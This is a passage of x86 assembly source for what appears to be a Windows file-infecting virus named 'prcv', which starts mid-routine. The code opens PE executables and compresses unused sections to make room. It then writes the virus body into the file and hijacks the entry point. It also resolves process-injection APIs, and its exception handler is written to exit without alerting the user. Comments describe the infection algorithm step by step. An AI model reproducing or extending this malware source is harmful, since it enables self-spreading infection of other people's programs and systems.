call [ebx][lpfnSetFileAttributesW-@X];<
test eax, eax
jz lb_ExitInfectPeFile;Fail to set the file attributes to FILE_ATTRIBUTE_NORMAL

xor ecx, ecx
push ecx
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push ecx
push (FILE_SHARE_READ OR FILE_SHARE_WRITE)
push (GENERIC_READ OR GENERIC_WRITE)
push edi
call [ebx][lpfnCreateFileW-@X]
cmp eax, -1
jz lb_FileOpenFail

push eax;Initialize hFileHandle

push esi;<
push edi;< Restore original file attributes.
call [ebx][lpfnSetFileAttributesW-@X];<

xor ecx, ecx
push ecx
push ecx
push ecx
push PAGE_READWRITE
push ecx
push dword ptr [ebp][hFileHandle]
call [ebx][lpfnCreateFileMappingW-@X]
cmp eax, -1
jz lb_CreateFileMappingFail

push eax ; Initialize hFileMappingHandle

xor ecx, ecx
push ecx
push ecx
push ecx
push FILE_MAP_WRITE
push eax
call [ebx][lpfnMapViewOfFile-@X]
test eax, eax
jz lb_MapViewOfFileFail

push eax;Initialize lpFileMapping

push 0
push dword ptr [ebp][hFileHandle]
call [ebx][lpfnGetFileSize-@X]
cmp eax, -1 ;Is the return value INVALID_FILE_SIZE??
jz lb_StopInfecting
cmp eax, 12 * 1024
jb lb_StopInfecting
push eax;Initialize dwTotalFileSize

mov eax, [ebp][lpFileMapping]
cmp word ptr [eax], 'ZM'
jnz lb_StopInfecting

mov ecx, [eax+0000003Ch];Maybe the file is not a PE file. So you must
cmp ecx, [ebp][dwTotalFileSize];ensure the 003Ch offset is in the range of
jae lb_StopInfecting;the file.

lea edi, [eax+ecx]
push edi ;Initialize lpNtHeaders

cmp dword ptr [edi], 00004550h
jnz lb_StopInfecting

mov ecx, [edi+00000028h]
lea edx, [eax+ecx]
cmp [edx], dword ptr 00EC8160h
jz lb_StopInfecting

xor ecx, ecx
push ecx ;Initialize ulInformation
push ecx ;The end flag
mov [ebp][CompressionInfoAA+off_pSection], ecx
mov [ebp][CompressionInfoBB+off_pSection], ecx

movzx ecx, word ptr [edi+00000006h]
mov [ebp][i], ecx
lea esi, [edi+000000F8h]

lp_FindCodeAndDataSection:

mov ecx, [esi+00000010h]
cmp ecx, 00001000h
jb lb_TryNextSection
mov eax, [esi+00000024h]
cmp eax, 0C0000040h
jz lb_DataSectionFound
cmp eax, 60000020h
jz lb_CodeSectionFound
jmp lb_TryNextSection

lb_DataSectionFound:

call CheckReferenceToSection
jc lb_TryNextSection
mov [ebp][CompressionInfoBB+off_pSection], esi
jmp lb_TryNextSection

lb_CodeSectionFound:

call CheckReferenceToSection
jc lb_TryNextSection
mov [ebp][CompressionInfoAA+off_pSection], esi

lb_TryNextSection:

add esi, SIZE_OF_IMAGE_SECTION_HEADER
dec dword ptr [ebp][i]
jnz lp_FindCodeAndDataSection

lea esi, [ebp][CompressionInfoAA]
mov ecx, [esi]
lea eax, [ebx][lpBufferForDataCompressed]
mov [esi][off_pCompressedDataBuffer], eax
mov [esi-DWORDSofCompressionInfo*4][off_pCompressedDataBuffer], eax
jecxz lb_NoCodeSectionCanBeUsed

call CompressPeSection;Compress the code section
cmp ecx, VIRUS_PHYSICAL_SIZE
jae lb_OnlyCodeSectionCompressed

;add [esi][off_pCompressedDataBuffer], eax
add [esi-DWORDSofCompressionInfo*4][off_pCompressedDataBuffer], eax ;Adjust the pointer

lb_NoCodeSectionCanBeUsed:

lea esi, [ebp][CompressionInfoBB]
cmp dword ptr [esi], 0
jz lb_StopInfecting

;add [esi][off_pCompressedDataBuffer], eax
call CompressPeSection
cmp ecx, VIRUS_PHYSICAL_SIZE
lea esi, [ebp][CompressionInfoAA]
jae lb_OnlyDataSectionCompressed

cmp dword ptr [esi], 0
jz lb_StopInfecting

or dword ptr [ebp][ulInformation], FLAG_USE_TWO_SECTIONS

cmp [esi][off_ulNumFreeBytes], eax
jae lb_Noname1

cmp ecx, [esi][off_ulNumUsedBytes]
jb lb_StopInfecting
or [ebp][ulInformation], dword ptr FLAG_IN_DATA_SECTION

lb_Noname1:

mov [ebx][JumpOffset-@X], byte ptr 0
jmp lb_CompressionCompleted

lb_OnlyDataSectionCompressed:
or [ebp][ulInformation], dword ptr FLAG_IN_DATA_SECTION
lb_OnlyCodeSectionCompressed:
mov [ebx][JumpOffset-@X], byte ptr (lb_NoSecondCompressedSection - NextStatement)

;*********************************************************************
;* *
;*My Infection algorithm: *
;*1)Try to find two sections which are not referred by any data *
;*directory in the PE file. *
;*2)Compress a part of the data of the section. The max size of *
;*the data to be compressed is 16K. Because my compression *
;*algorithm is not so perfect, the processing time will be *
;*very long if the data is too much. *
;*3)If one of the sections is large enough to hold the *
;*compressed data and the virus code, just place there. *
;*Otherwise, move compressed data in one section to anther *
;*and just place the virus code in the section. *
;* *
;*********************************************************************

;1. two sections & in code section
;
;CODE_SEG DATA_SEG
; _______ _______
;| | | |
;| D | | |
;|_______| | V |
;| | | |
;| C | | |
;|_______| |_______|
;
;
;2. two sections & in data section
;
;DATA_SEG CODE_SEG
; _______ _______
;| | | |
;| C | | |
;|_______| | V |
;| | | |
;| D | | |
;|_______| |_______|
;
;3. one sections & in code section
;
;CODE_SEG
; _______
;| |
;| C |
;|_______|
;| |
;| V |
;|_______|
;
;
;4. one sections & in data section
;
;DATA_SEG
; _______
;| |
;| D |
;|_______|
;| |
;| V |
;|_______|


lb_CompressionCompleted:

mov eax, [ebp][ulInformation]
;lea esi, [ebp][CompressionInfoAA]
cmp eax, dword ptr (FLAG_USE_TWO_SECTIONS);If in code section and use two sections?
jz lb_ExchangeCompressionInformation
cmp eax, dword ptr (FLAG_IN_DATA_SECTION);If in data section and use one section?
jz lb_ExchangeCompressionInformation

jmp lb_SaveParameters

lb_ExchangeCompressionInformation:

push DWORDSofCompressionInfo
pop ecx
lea edi, [ebp][CompressionInfoBB]

lp_ExchangeData:
xchg eax, [edi]
xchg eax, [edi][DWORDSofCompressionInfo*4]
xchg eax, [edi]
add edi, 4
loop lp_ExchangeData

;lea esi, [ebp][CompressionInfoBB]

lb_SaveParameters:

lea esi, [ebp][CompressionInfoAA]
mov edx, [esi][off_pSection]
lea edi, [ebx][DecompressionParametersA-@X]
xor eax, eax
lea ecx, [eax+1]

test [ebp][ulInformation], dword ptr FLAG_USE_TWO_SECTIONS
jz lb_RemainCounterTo1
inc ecx
mov edx, [ebp][CompressionInfoBB+off_pSection]

lb_RemainCounterTo1:

mov [ebp][pSectionOfOriginalDataAndCode], edx

lp_SaveFileWritingInformation:

push dword ptr [esi][off_ulNumUsedBytes]
push dword ptr [esi][off_pCompressedDataBuffer]

push ecx

mov ecx, [esi][off_ulNumTotalBits]
mov [edi], ecx;Total number of bits
;mov ecx, [esi][off_pSection]
mov ecx, [ebp][pSectionOfOriginalDataAndCode]
mov edx, [ecx+0000000Ch]
add edx, eax
mov [edi+00000004h], edx;Source data address for decompression
mov edx, [ecx+00000014h]
mov ecx, [esi][off_OriginalVirtualAddress]
mov [edi+00000008h], ecx
add edx, eax;File offset where the compressed data will be stored.

pop ecx
push edx
add eax, [esi][off_ulNumUsedBytes]
add edi, 0000000Ch
sub esi, DWORDSofCompressionInfo*4
loop lp_SaveFileWritingInformation

;lea esi, [ebp+CompressionInfoAA][off_pSection]
;mov edi, [esi][off_pSection]
mov edi, [ebp+CompressionInfoAA][off_pSection]
mov edx, [edi+00000014h]
mov ecx, [edi+0000000Ch]

test [ebp][ulInformation], dword ptr FLAG_USE_TWO_SECTIONS
jnz lb_Noname3

add edx, eax
add ecx, eax

lb_Noname3:

mov [ebp][ulAddressOfVCode], ecx

push VIRUS_PHYSICAL_SIZE
lea ecx, [ebx][BaseOfVirusCode-@X]
push ecx
push edx

mov edi, [ebp][lpNtHeaders]

mov eax, [edi+00000080h]
call RvaAddressToFileMappingAddress
xchg esi, eax

lb_LoopOfFindImportDescriptorOfKernel32:

push (SIZE_OF_IMPORT_DESCRIPTOR)
push esi
call IsAllZero
jz lb_StopInfecting ; All import descriptor have been retrieved,
; but kernel32 is not found. So we should do nothing
; but just exit.

mov eax, [esi+0000000Ch]
call RvaAddressToFileMappingAddress
xchg eax, edi

push esi
lea esi, [ebx][NameOfKernel32-@X]
call strcmpi
pop esi
jz lb_Kernel32IsFound
add esi, SIZE_OF_IMPORT_DESCRIPTOR
jmp lb_LoopOfFindImportDescriptorOfKernel32

lb_Kernel32IsFound:

mov eax, [esi+00000010h];< Save the address of first thunk
mov [ebx][RvaOfFirstThunkOfKernel32-@X], eax;<

;mov esi, [ebp][pDataSection]
;push VIRUS_PHYSICAL_SIZE
;lea ecx, [ebx][BaseOfVirusCode-@X]
;push ecx
;mov eax, [ebp][ulAddressOfVCode]
;call RvaToFilePointer
;push eax

mov edi, [ebp][lpNtHeaders];<
mov eax, [ebp][ulAddressOfVCode];<
add eax, EntryOfVirusCode-BaseOfVirusCode;< Modify Address of Entry Point
lea ecx, [edi+00000028h];< And
mov edx, [ecx];< Save Original Address of
mov [ebx][OriginalEntryPoint-@X], edx;< Entry Point
mov [ecx], eax;<
mov [ebx][RvaOfEntryPoint-@X], eax;<


lea ecx, [edi+00000064h]
mov eax, VIRUS_BOOTING_SIZE
cmp [ecx], eax
jae lb_NotEnlargeSizeOfStackCommitSize
add [ecx], eax
lb_NotEnlargeSizeOfStackCommitSize:

lb_LoopOfWriteTargetFile:

pop eax
test eax, eax
jz lb_InfectionCompleted

add eax, [ebp][lpFileMapping]
xchg edi, eax

pop esi
pop ecx
cld
rep movsb

jmp lb_LoopOfWriteTargetFile


lb_InfectionCompleted:

lb_StopInfecting:

push dword ptr [ebp][lpFileMapping]
call [ebx][lpfnUnmapViewOfFile-@X]

lb_MapViewOfFileFail:

push dword ptr [ebp][hFileHandle]
call [ebx][lpfnCloseHandle-@X]

lb_CreateFileMappingFail:

push dword ptr [ebp][hFileMappingHandle]
call [ebx][lpfnCloseHandle-@X]

lb_FileOpenFail:
lb_ExitInfectPeFile:

mov byte ptr [ebx][IsBusy-@X], 0

lb_IsBusyNow:

mov esp, ebp
pop ebp
ret

;*********************************************************************
;* *
;*CompressPeSection() *
;* *
;*Remarks: *
;*Process the specified section to make preparations for *
;*furher infections. *
;* *
;*Parameters: *
;*[Esi] *
;*Point to the start address of the buffer containing the *
;*parameters about data compression. *
;* *
;*Return Value: *
;*[Ecx] *
;*The number of free bytes that can be overwritten with the *
;*virus code after compression. *
;*[Eax] *
;*The number of bytes that the original data of the data *
;*have been compressed to. *
;* *
;*********************************************************************
CompressPeSection:

pop dword ptr [ebx][ReteunFromCompressPeSection-@X]
mov edi, [esi][off_pSection]
mov ecx, [edi+0000000Ch]
mov [esi][off_OriginalVirtualAddress], ecx
mov ecx, [edi+00000010h]
mov edx, MAX_SIZE_TO_COMPRESS
cmp ecx, edx
jbe lb_UseSizeOfRawData
mov ecx, edx

lb_UseSizeOfRawData:

lea edx, [esi][off_ulNumTotalBits]
and [edx], dword ptr 0

mov eax, [edi+00000014h]
add eax, [ebp][lpFileMapping]

push edx
push dword ptr [esi][off_pCompressedDataBuffer]
push ecx
push eax
call LZ77Compress

mov eax, [edx]
test eax, eax
jz lb_StopInfecting
add eax, 7
shr eax, 3

sub ecx, eax
jb lb_StopInfecting

mov [esi][off_ulNumUsedBytes], eax
mov [esi][off_ulNumFreeBytes], ecx

push 'HOLD'
ReteunFromCompressPeSection = $-4
ret


;*********************************************************************
;* *
;*IsRvaInSection() *
;* *
;*Remarks: *
;*Check if the RVA is in the specified section. *
;* *
;*Parameters: *
;*[Eax] *
;*The RVA which will be checked. *
;*[Esi] *
;*Point to the section. *
;* *
;*Return Value: *
;*If the Rva is in the section, both CF and ZF are cleared. *
;*If not, either CF or ZF is set. *
;* *
;*********************************************************************
IsRvaInSection:
;{
push edx
mov edx, [esi+0000000Ch]
cmp eax, edx
jb lb_RvaNotInTheSection
add edx, [esi+00000010h]
cmp edx, eax
jbe lb_RvaNotInTheSection

pop edx
ret

lb_RvaNotInTheSection:

pop edx
ret
;}


;*********************************************************************
;* *
;*CheckReferenceToSection() *
;* *
;*Remarks: *
;*Check if the section is referred by one or more data *
;*directories. If the section is referred, it cannot be used *
;*to write the virus code. *
;* *
;*Parameters: *
;*[Esi] *
;*Point to the section which will be checked. *
;* *
;*Return Value: *
;*If the section is referred, CF is set. *
;*If not, CF is cleared. *
;* *
;*********************************************************************
CheckReferenceToSection:

push ecx

mov edx, [ebp][lpNtHeaders]
movzx ecx, word ptr[edx+00000006h]
add edx, 00000078h

lp_CheckAllDataDirectory:

mov eax, [edx] ; IMAGE_EXPORT_DIRECTORY
call IsRvaInSection
jnbe lb_SectionIsReferred
add edx, 8
loop lp_CheckAllDataDirectory

pop ecx
clc ; Not referred
ret

lb_SectionIsReferred:

pop ecx
stc ; referred
ret

;*********************************************************************
;* *
;*GetProcedureAddress() *
;* *
;*Remarks: *
;*Get the entry address of the specified API function from *
;*the system DLLs of Windows. *
;* *
;*Parameters: *
;*Edi: Pointer to a null-terminated string containingthe API *
;*function name whose entry address we want to get. *
;*Eax: The image base of the DLL from which the API function *
;*is exported. *
;*Esi: Pointer to a IMAGE_EXPORT_DIRECTORY structure which *
;* contains the export information. *
;* *
;*Return Value: *
;*The entry address of the API function. *
;* *
;*********************************************************************
GetProcedureAddress:

mov ecx, [esi+00000018h]
mov edx, [esi+00000020h]
add edx, eax

push esi

lp_FindMatchedProcedureName:

mov esi, [edx]
add esi, eax
call strcmpi
jz lb_MatchedProcedureNameFound
add edx, 4
loop lp_FindMatchedProcedureName

xor eax, eax
pop esi
ret
lb_MatchedProcedureNameFound:

pop esi
sub edx, [esi+00000020h]
;sub edx, eax
mov ecx, [esi+0000001Ch]
;add ecx, eax
add ecx, edx
add eax, [ecx]

ret


;extern "C"
;void __declspec(naked) WINAPI
;LZ77Compress(
;PUCHAR__pDataBuffer,
;ULONG__ulDataLength,
;PUCHAR__pOutputBuffer,
;PULONG__pulNumberOfBits
;)
;//{

;*********************************************************************
;* *
;*LZ77Compress() *
;*[Param1] *
;*[Param2] *
;*[Param3] *
;*[Param4] *
;* *
;*Remarks: *
;*Decompress the data. *
;* *
;*Parameters: *
;*[Param1] *
;*Point to the buffer containing the data that will be *
;*compressed. *
;*[Param2] *
;*The total bytes of the data that will be compressed *
;*[Param3] *
;*Point to the buffer where the data will be stored after *
;*compression. *
;*[Param4] *
;*Point to the variable that will save the number of bits of *
;*the data after compression *
;* *
;*Return value: *
;*None. *
;* *
;*********************************************************************

BASE_OFFSET=(36)
pDataBuffer=(BASE_OFFSET)
ulDataLength=(BASE_OFFSET+4)
pOutputBuffer=(BASE_OFFSET+8)
pulNumberOfBits=(BASE_OFFSET+12)
iSlideWindowPtr=(-4)
ulBytesCoded=(-8)
ulBytesDecoded=(-8)
ulLength=(-12)
ulOffset=(-16)
pSlideWindowPtr=(-20)

LZ77Compress:

pushad
mov ebp, esp

xor ebx, ebx ; Intialize ulBitOffset
mov esi, [ebp][pDataBuffer] ; Initialize pUncodedDataPtr
mov edi, [ebp][pOutputBuffer]

push -MAX_WND_SIZE; Initialize iSlideWindowPtr
push 0; Initialzie ulBytesCoded
sub esp, 3 * 4


lp_CompressDataWithLZ77:


mov edx, [ebp][ulBytesCoded]
cmp edx, 00001000h
jb lb_NotAssumeDataCompressibility

mov ecx, ebx;After MAX_WND_SIZE bytes data have been
shr ecx, 3;compressed, we should assume the
cmp ecx, edx;compressibility of the data.
jbe lb_DataCompressibilityIsStillGood;

xor ebx, ebx
jmp lb_ExitLZ77Compress

lb_NotAssumeDataCompressibility:
lb_DataCompressibilityIsStillGood:
;mov eax, [ebp][ulBytesCoded]
;cmp eax, [ebp][ulDataLength]
mov eax, [ebp][ulDataLength]
sub eax, [ebp][ulBytesCoded]
jbe lb_AllBytesCompressed

push eax
mov eax, [ebp][iSlideWindowPtr]
mov edx, [ebp][pDataBuffer] ; edx holds pSlideWindowPtr
mov ecx, MAX_WND_SIZE ; ecx holds ulMaxStringLength

cmp eax, 0
jl lb_L01_1
add edx, eax
jmp lb_L01_3
lb_L01_1:
cmp eax, -MAX_WND_SIZE
jl lb_L01_2
add ecx, eax
jmp lb_L01_3
lb_L01_2:
xor ecx, ecx
xor edx, edx
lb_L01_3:

pop eax
cmp eax, ecx
jae lb_BytesLeftMoreThanMaxWndSize
mov ecx, eax
lb_BytesLeftMoreThanMaxWndSize:
call FindSubStringWithMaxLength

mov eax, [ebp][ulLength]
cmp eax, 1
jle lb_MatchedStringLengthIsLessThan1

call Write1ToBitStream

mov eax, [ebp][ulOffset]
mov ecx, OFFSET_CODING_LENGTH
call WriteBitsToBitStream

mov eax, [ebp][ulLength]
call WriteGolombCode

mov eax, [ebp][ulLength]
add esi, eax
add [ebp][iSlideWindowPtr], eax
add [ebp][ulBytesCoded], eax
jmp lp_CompressDataWithLZ77

lb_MatchedStringLengthIsLessThan1:

call Write0ToBitStream

mov eax, [esi]
push 8
pop ecx
call WriteBitsToBitStream

inc esi
inc dword ptr [ebp][iSlideWindowPtr]
inc dword ptr [ebp][ulBytesCoded]

jmp lp_CompressDataWithLZ77

lb_AllBytesCompressed:

lb_ExitLZ77Compress:

mov eax, [ebp][pulNumberOfBits]
mov [eax], ebx

mov esp, ebp
popad
ret 16

;*********************************************************************
;* *
;*WriteBitsToBitStream() *
;* *
;*Remarks: *
;*Writing a series of bits to the bit stream. *
;* *
;*Parameters: *
;*[Edi] *
;*Point to the base address of the bit stream. The address is *
;*byte-boundary. *
;*[Ebx] *
;*The offset in the bit stream where the new bits will *
;*be written. *
;*[Eax] *
;*The bits that will be wtitten to the bit stream. *
;*[Ecx]: *
;*The number of bits that will be written to the bit stream. *
;* *
;*Return value: *
;*None. *
;* *
;*********************************************************************
WriteBitsToBitStream:

lp_LoopOfWritingOffset:

shr eax, 1
jc lb_CurrentBitIs1

call Write0ToBitStream
jmp lb_WriteNextBit

lb_CurrentBitIs1:

call Write1ToBitStream

lb_WriteNextBit:

loop lp_LoopOfWritingOffset
ret


;*********************************************************************
;* *
;*Write1ToBitStream() *
;* *
;*Remarks: *
;*Writing 1 to the bit stream. *
;* *
;*Parameters: *
;*[Edi] *
;*Point to the base address of the bit stream. The *
;*address is byte-boundary. *
;*[Ebx] *
;*The offset in the bit stream where the data 1 will *
;*be written. *
;* *
;*Return value: *
;*None. *
;* *
;*********************************************************************
Write1ToBitStream:

lb_Write1ToBitStream:

push edx
push ecx
push eax
mov eax, ebx
shr eax, 3
add eax, edi
mov ecx, ebx
and ecx, 7
push 1
pop edx
shl edx, cl
or [eax], dl
pop eax
pop ecx
pop edx
inc ebx
ret

;*********************************************************************
;* *
;*Write0ToBitStream *
;* *
;*Remarks: *
;*Writing 0 to the bit stream. *
;* *
;*Parameters: *
;*[Edi] *
;*Point to the base address of the bit stream. The address is *
;*byte-boundary. *
;*[Ebx] *
;*The offset in the bit stream where the data 0 will *
;*be written. *
;* *
;*Return value: *
;*None. *
;* *
;*********************************************************************
Write0ToBitStream:

lb_Write0ToBitStream:

push edx
push ecx
push eax
mov eax, ebx
shr eax, 3
add eax, edi
mov ecx, ebx
and ecx, 7
push 1
pop edx
shl edx, cl
not edx
and [eax], dl
pop eax
pop ecx
pop edx
inc ebx
ret

;*********************************************************************
;* *
;*CompareStrings() *
;* *
;*Remarks: *
;*Compare two strings. *
;* *
;*Parameters: *
;*[Ecx] *
;*Point to string1. *
;*[Edi] *
;*Point to string2. *
;*[Ecx] *
;*The max length of comparation length. *
;* *
;*Return value: *
;*None. *
;* *
;*********************************************************************
CompareStrings:
;//{

push esi
push edi

;lea eax, [esi+1]
;cld
;rep cmpsb

mov eax, esi

lp_CompareStrings:

mov dl, [esi]
cmp dl, [edi]
jnz lb_StringsUnmatched
inc esi
inc edi
loop lp_CompareStrings

lb_StringsUnmatched:

sub esi, eax
mov eax, esi

pop edi
pop esi

ret
;//}


;*********************************************************************
;*FindSubStringWithMaxLength() *
;* *
;*Remarks: *
;*Find the sub string of string2 with the max length *
;*that matches string1. *
;* *
;*Parameters: *
;*[Ecx] *
;*The max length of string1. *
;*[Esi] *
;*Point to string1. *
;*[Edi] *
;*Point to string2. *
;* *
;*Return value: *
;*None. *
;* *
;*********************************************************************
FindSubStringWithMaxLength:
;//{

push esi
push edi

xor eax, eax
mov [ebp][ulLength], eax ; Initailzie return value
mov [ebp][ulOffset], eax ; Initialize return value
mov [ebp][pSlideWindowPtr], edx ; Save pSlideWindowPtr
mov edi, edx

test edi, edi
jz lb_ExitFindLongestSubstring

jecxz lb_ExitFindLongestSubstring

lb_LoopOfFindSubStrings:

push ecx
call CompareStrings
pop ecx

cmp eax, [ebp][ulLength]
jbe lb_SubStringIsNotTheLongest

mov [ebp][ulLength], eax
mov eax, edi
sub eax, [ebp][pSlideWindowPtr]
mov [ebp][ulOffset], eax


lb_SubStringIsNotTheLongest:

inc edi
loop lb_LoopOfFindSubStrings

lb_ExitFindLongestSubstring:
pop edi
pop esi
ret
;//}

;*********************************************************************
;* *
;* WriteGolombCode() *
;* *
;*Remarks: *
;*Write the Golomb code to the bit stream. *
;* *
;*Parameters: *
;*[Eax] *
;*The value which is to be coded. *
;*[Edi] *
;*Point to start address of the bit stream. *
;*[Ebx] *
;*The offset in the bit stream where the Golomb code *
;*will be written. *
;* *
;*Return value: *
;*The length of the coding. *
;* *
;*********************************************************************
WriteGolombCode:

lea ecx, [eax-1]
shr ecx, M ; q
mov edx, ecx
push ecx
jecxz lb_QIsZero

lp_WriteQOnes:
call Write1ToBitStream
loop lp_WriteQOnes

lb_QIsZero:
call Write0ToBitStream

shl edx, M ; q<<m
sub eax, edx;
dec eax; r = x-(q<<m)-1

mov ecx, 1

lb_LoopOfWritingR:

shr eax, 1
jc lb_CurrentBitIs1_b

call Write0ToBitStream
jmp lb_CurrentBitIs0_b

lb_CurrentBitIs1_b:

call Write1ToBitStream

lb_CurrentBitIs0_b:

inc ecx
cmp ecx, M
jbe lb_LoopOfWritingR

pop eax
add eax, M+1

ret

;//}

;extern "C"
;void __declspec(naked) WINAPI
;LZ77Decompress(
;PUCHAR__pDataBuffer,
;ULONG__ulNumberOfBits,
;PUCHAR__pOutputBuffer,
;PULONG__pulNumberOfBytes
;)
;//{

;*********************************************************************
;* *
;*LZ77Decompress() *
;*[Param1] *
;*[Param2] *
;*[Param3] *
;*[Param4] *
;* *
;*Remarks: *
;*Decompress the data. *
;* *
;*Parameters: *
;*[Param1] *
;*Point to the buffer containing the data that will be *
;*decompressed. *
;*[Param2] *
;*The total bits of the data that will be decompressed *
;*[Param3] *
;*Point to the buffer where the data will be stored after *
;*decompression. *
;*[Param4] *
;*The number of bytes of the data after decompression *
;* *
;*Return value: *
;*None. *
;* *
;*********************************************************************
ulNumberOfBits=(BASE_OFFSET+4)
pOutputBuffer=(BASE_OFFSET+8)
pulNumberOfBytes=(BASE_OFFSET+12)

LZ77Decompress:

pushad
mov ebp, esp

xor ebx, ebx ; Initialize bit offset
mov esi, [ebp][pDataBuffer]
mov edi, [ebp][pOutputBuffer]

push -MAX_WND_SIZE
push 0
sub esp, 3 * 4

lb_LZ77Decompress:

cmp ebx, [ebp][ulNumberOfBits]
jae lb_AllDataDecompressed

call ReadBitFromBitStream

test eax, eax
jz lb_SingleCharacter

mov eax, [ebp][iSlideWindowPtr]
mov edx, [ebp][pOutputBuffer]

cmp eax, 0
jl lb_L2_a
add edx, eax
jmp lb_L2_b
lb_L2_a:
cmp eax, -MAX_WND_SIZE
jge lb_L2_b
xor edx, edx
lb_L2_b:

push edx

mov ecx, OFFSET_CODING_LENGTH
call ReadBitsFromBitStream

push eax
call ReadGolombCode
pop eax

xchg esi, [esp]
add esi, eax
add [ebp][iSlideWindowPtr], ecx
add [ebp][ulBytesDecoded], ecx

lp_CopyingString:

mov al, [esi]
mov [edi], al
inc esi
inc edi
loop lp_CopyingString

pop esi


jmp lb_LZ77Decompress


lb_SingleCharacter:

mov ecx, 8
call ReadBitsFromBitStream

mov [edi], al
inc edi
inc dword ptr [ebp][iSlideWindowPtr]
inc dword ptr [ebp][ulBytesDecoded]

jmp lb_LZ77Decompress

lb_AllDataDecompressed:

mov eax, [ebp][ulBytesDecoded]
mov ecx, [ebp][pulNumberOfBytes]
jecxz lb_NumberOfBytesNotRequiredReturned
mov [ecx], eax

lb_NumberOfBytesNotRequiredReturned:

mov esp, ebp
popad
ret 16


ReadBitFromBitStream:

push ecx

mov eax, ebx
shr eax, 3
add eax, esi
mov ecx, ebx
and ecx, 7
mov eax, [eax]
shr eax, cl
and eax, 1

pop ecx
inc ebx

ret


ReadBitsFromBitStream:

push edi
push edx

xor edx, edx
xor edi, edi
xchg ecx, edi

lb_LoopOfReadBits:

call ReadBitFromBitStream
shl eax, cl
or edx, eax

inc ecx
dec edi
jnz lb_LoopOfReadBits

mov eax, edx
pop edx
pop edi
ret


;*********************************************************************
;* *
;*ReadGolombCode() *
;* *
;*Remarks: *
;*Read the Golomb code from the bit stream. *
;* *
;*Parameters: *
;*[Esi] *
;*Point to start address of the bit stream. *
;*[Ebx] *
;*The offset in the bit stream where the Golomb code will *
;*be read from. *
;* *
;*Return value: *
;*[Ecx] *
;*The decoding value *
;* *
;*********************************************************************
ReadGolombCode:

xor edx, edx

lb_ReadNextBitUntil0IsFound:

call ReadBitFromBitStream
test eax, eax
jz lb_ZeroBitIsFound
inc edx
jmp lb_ReadNextBitUntil0IsFound

lb_ZeroBitIsFound:

push edx

xor ecx, ecx
xor edx, edx

lb_LoopOfDecodingR:

call ReadBitFromBitStream
shl eax, cl
or edx, eax
inc ecx
cmp ecx, M
jb lb_LoopOfDecodingR

mov ecx, edx
pop edx
shl edx, M
lea ecx, [ecx+edx+1]
ret

;//}

;*********************************************************************
;*ExceptionHandler:
;*
;*The exception-handing routine. When something unnormal
;*occurs anyway, the routine is called by the system. We will
;*do some processings here and then quit our virus program
;*without causing the user's cautions.
;
;*Parameters:
;*
;*fs:[0]: Point the memory unit where the ESP register is
;*saved. The value of the ESP register is equal to the one
;*when the exception occurs.
;*
;*Return Value:
;*
;*None
;*
;*
;*********************************************************************
ExceptionHandler:

if DEBUG
push 0
push offset szError
push offset szExceptionCaused
push 0
call MessageBoxA
endif

xor ebx,ebx
mov eax, fs:[ebx]
mov esp, [eax]

jmp lb_ExitVirusProgram


NameOfKernel32db'Kernel32.dll', 0

if DEBUG
TargetProcessNamedb'mm.exe', 0
endif

db'prcv'
db(MajorVersion + 00000030h)
db'.'
db(MinorVersion + 00000030h)

n_GetModuleHandleAdb'GetModuleHandleA', 0
n_GetProcAddressdb'GetProcAddress', 0
n_CreateToolhelp32Snapshot db'CreateToolhelp32Snapshot', 0
n_Process32Firstdb'Process32First', 0
n_Process32Nextdb'Process32Next', 0
n_Module32Firstdb'Module32First', 0
n_Module32Nextdb'Module32Next', 0
n_CloseHandledb'CloseHandle', 0
n_OpenProcessdb'OpenProcess', 0
n_CreateRemoteThreaddb'CreateRemoteThread', 0
n_VirtualProtectExdb'VirtualProtectEx', 0
n_VirtualAllocExdb'VirtualAllocEx', 0
n_VirtualFreeExdb'VirtualFreeEx', 0
n_WriteProcessMemorydb'WriteProcessMemory', 0
n_CreateFileAdb'CreateFileA', 0
n_CreateFileWdb'CreateFileW', 0
n_CreateFileMappingdb'CreateFileMappingW', 0
n_MapViewOfFiledb'MapViewOfFile', 0
n_UnmapViewOfFiledb'UnmapViewOfFile', 0
n_GetFileAttributesdb'GetFileAttributesW', 0
n_SetFileAttributesdb'SetFileAttributesW', 0
n_GetFileSizedb'GetFileSize', 0
n_MultiByteToWideChardb'MultiByteToWideChar', 0
ife SKIP_CURRENT_PROCESS
n_GetCurrentProcessIddb'GetCurrentProcessId', 0
endif
if ERROR_DIAGNOSE
n_GetLastErrordb'GetLastError', 0
endif

if NOT_INFECT_FILES
LogFileNamedb'c:/openlog.txt', 0
endif

RelativeBase=@B
; import-function string offset table
IfNameTableddn_GetModuleHandleA - RelativeBase
ddn_GetProcAddress - RelativeBase
ddn_CreateToolhelp32Snapshot- RelativeBase
ddn_Process32First- RelativeBase
ddn_Process32Next- RelativeBase
ddn_Module32First- RelativeBase
ddn_Module32Next- RelativeBase
ddn_CloseHandle- RelativeBase
ddn_OpenProcess- RelativeBase
ddn_CreateRemoteThread- RelativeBase
ddn_VirtualProtectEx- RelativeBase
ddn_VirtualAllocEx- RelativeBase
ddn_VirtualFreeEx- RelativeBase
ddn_WriteProcessMemory- RelativeBase
if NOT_INFECT_FILES
ddn_CreateFileA- RelativeBase
endif
ddn_CreateFileW- RelativeBase
ddn_CreateFileMapping- RelativeBase
ddn_MapViewOfFile- RelativeBase
ddn_UnmapViewOfFile- RelativeBase
ddn_GetFileAttributes- RelativeBase
ddn_SetFileAttributes- RelativeBase
ddn_GetFileSize- RelativeBase
ddn_MultiByteToWideChar- RelativeBase
ife SKIP_CURRENT_PROCESS
ddn_GetCurrentProcessId- RelativeBase
endif
if ERROR_DIAGNOSE
ddn_GetLastError- RelativeBase
endif
dd0; 0 meaning the end of the table
IsBusydb0

CallAddressTable = $
@X = $
lpfnGetModuleHandleAdd?
lpfnGetProcAddressdd?
lpfnCreateToolhelp32Snapshotdd?
lpfnProcess32Firstdd?
lpfnProcess32Nextdd?
lpfnModule32Firstdd?
lpfnModule32Nextdd?
lpfnCloseHandledd?
lpfnOpenProcessdd?
lpfnCreateRemoteThreaddd?
lpfnVirtualProtectExdd?
lpfnVirtualAllocExdd?
lpfnVirtualFreeExdd?
lpfnWriteProcessMemorydd?
if NOT_INFECT_FILES
lpfnCreateFileAdd?
endif
lpfnCreateFileWdd?
lpfnCreateFileMappingWdd?
lpfnMapViewOfFiledd?
lpfnUnmapViewOfFiledd?
lpfnGetFileAttributesWdd?
lpfnSetFileAttributesWdd?
lpfnGetFileSizedd?
